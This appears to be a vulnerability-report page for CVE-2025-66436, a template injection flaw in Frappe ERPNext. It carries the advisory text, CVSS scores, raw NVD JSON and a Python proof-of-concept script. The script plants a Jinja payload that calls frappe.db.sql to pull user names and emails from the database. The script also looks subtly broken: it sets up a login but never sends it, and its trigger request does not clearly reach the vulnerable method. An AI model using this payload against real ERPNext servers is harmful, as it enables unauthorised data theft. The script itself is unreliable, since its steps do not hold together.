Security Vulnerability Report
中文
CVE-2025-66436 CVSS 4.3 MEDIUM

CVE-2025-66436

Published: 2025-12-15 18:15:48
Last Modified: 2025-12-23 17:54:23

Description

An SSTI (Server-Side Template Injection) vulnerability exists in the get_terms_and_conditions method of Frappe ERPNext through 15.89.0. The function renders attacker-controlled Jinja2 templates (terms) using frappe.render_template() with a user-supplied context (doc). Although Frappe uses a custom SandboxedEnvironment, several dangerous globals such as frappe.db.sql are still available in the execution context via get_safe_globals(). An authenticated attacker with access to create or modify a Terms and Conditions document can inject arbitrary Jinja expressions into the terms field, resulting in server-side code execution within a restricted but still unsafe context. This vulnerability can be used to leak database information.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:frappe:erpnext:*:*:*:*:*:*:*:* - VULNERABLE
Frappe ERPNext < 15.90.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66436 SSTI PoC for Frappe ERPNext # Target: Frappe ERPNext < 15.90.0 import requests # Configuration target_url = "https://vulnerable-erpnext-instance.com" api_key = "your_api_key" api_secret = "your_api_secret" # Authentication session = requests.Session() login_url = f"{target_url}/api/method/login" login_data = { "usr": api_key, "pwd": api_secret } # Create malicious Terms and Conditions terms_url = f"{target_url}/api/resource/Terms and Conditions" malicious_payload = """{{frappe.db.sql('SELECT user_name, email FROM __Auth')}}""" terms_data = { "terms_title": "Malicious Terms", "terms": malicious_payload, "modified": 1 } # Send the request to create Terms and Conditions with SSTI payload headers = {"Content-Type": "application/json"} response = session.post(terms_url, json=terms_data, headers=headers) # Trigger the SSTI by calling get_terms_and_conditions trigger_url = f"{target_url}/api/method/frappe.utils.print_format.download_pdf" trigger_data = { "doctype": "Sales Order", "name": "SO-001", "format": "Standard", "terms": "Malicious Terms" } response = session.post(trigger_url, json=trigger_data, headers=headers) print(f"Response: {response.text}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66436", "sourceIdentifier": "[email protected]", "published": "2025-12-15T18:15:48.170", "lastModified": "2025-12-23T17:54:23.497", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An SSTI (Server-Side Template Injection) vulnerability exists in the get_terms_and_conditions method of Frappe ERPNext through 15.89.0. The function renders attacker-controlled Jinja2 templates (terms) using frappe.render_template() with a user-supplied context (doc). Although Frappe uses a custom SandboxedEnvironment, several dangerous globals such as frappe.db.sql are still available in the execution context via get_safe_globals(). An authenticated attacker with access to create or modify a Terms and Conditions document can inject arbitrary Jinja expressions into the terms field, resulting in server-side code execution within a restricted but still unsafe context. This vulnerability can be used to leak database information."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1336"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frappe:erpnext:*:*:*:*:*:*:*:*", "versionEndIncluding": "15.89.0", "matchCriteriaId": "DAA2FB4F-48C5-4BA5-A15F-175B8A752866"}]}]}], "references": [{"url": "https://iamanc.github.io/post/erpnext-ssti-bug-3", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.notion.so/SSTI-bug-3-239e6086eadc8020aeecdaf123e32f3d?source=copy_link", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}